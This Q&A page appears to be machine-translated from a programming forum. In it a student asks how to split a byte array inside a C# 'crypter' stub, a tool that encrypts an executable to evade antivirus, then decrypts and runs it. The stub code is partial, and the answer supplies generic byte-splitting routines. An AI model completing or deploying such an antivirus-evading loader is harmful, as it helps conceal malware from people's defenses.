我有一个问题,这里的其他问题对我没什么帮助.
我是一名安全学生,我正在尝试为项目编写一个加密器.对于那些不知道它是什么的人,你可以在这里阅读. http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html
无论如何,一个快速的解释,加密器是通过加密程序然后在前面粘贴"存根"(一个解密它的程序)来绕过防病毒的程序.我分割文件时遇到了一个非常烦人的问题.
最大的烦恼是我必须将加密的可执行文件放入一个字节数组中,因为字符串会杀死我的加密可执行文件中的某些字符,使其无法执行.更糟糕的是,我仍然必须"拆分"exe,这就是麻烦开始的地方.
存根的基本思想是:
我有一切工作,除了分裂部分,这是最烦人的.如何在分隔符处拆分字节数组?有更简单的方法吗?
这是我到目前为止存根的代码.
public void main()
{
string outpath = RandomString(8) + ".exe";
byte[] key = { 33, 44, 55, 66, 77 };
string apppath = Assembly.GetEntryAssembly();
byte[] exe = File.ReadAllBytes(apppath);
string strseperate = "EVILSEPERATOREVIL";
System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
byte[] seperator = encoding.GetBytes(strseperate);
//Split code should go here
exe = Decrypt(key, encrypted);
Process.Start(outpath);
}
Run Code Online (Sandbox Code Playgroud)
谢谢你的帮助.
byte[] SeparateAndGetLast(byte[] source, byte[] separator)
{
for (var i = 0; i < source.Length; ++i)
{
if(Equals(source, separator, i))
{
var index = i + separator.Length;
var part = new byte[source.Length - index];
Array.Copy(source, index, part, 0, part.Length);
return part;
}
}
throw new Exception("not found");
}
public static byte[][] Separate(byte[] source, byte[] separator)
{
var Parts = new List<byte[]>();
var Index = 0;
byte[] Part;
for (var I = 0; I < source.Length; ++I)
{
if (Equals(source, separator, I))
{
Part = new byte[I - Index];
Array.Copy(source, Index, Part, 0, Part.Length);
Parts.Add(Part);
Index = I + separator.Length;
I += separator.Length - 1;
}
}
Part = new byte[source.Length - Index];
Array.Copy(source, Index, Part, 0, Part.Length);
Parts.Add(Part);
return Parts.ToArray();
}
bool Equals(byte[] source, byte[] separator, int index)
{
for (int i = 0; i < separator.Length; ++i)
if (index + i >= source.Length || source[index + i] != separator[i])
return false;
return true;
}
Run Code Online (Sandbox Code Playgroud)
| 归档时间: |
|
| 查看次数: |
10662 次 |
| 最近记录: |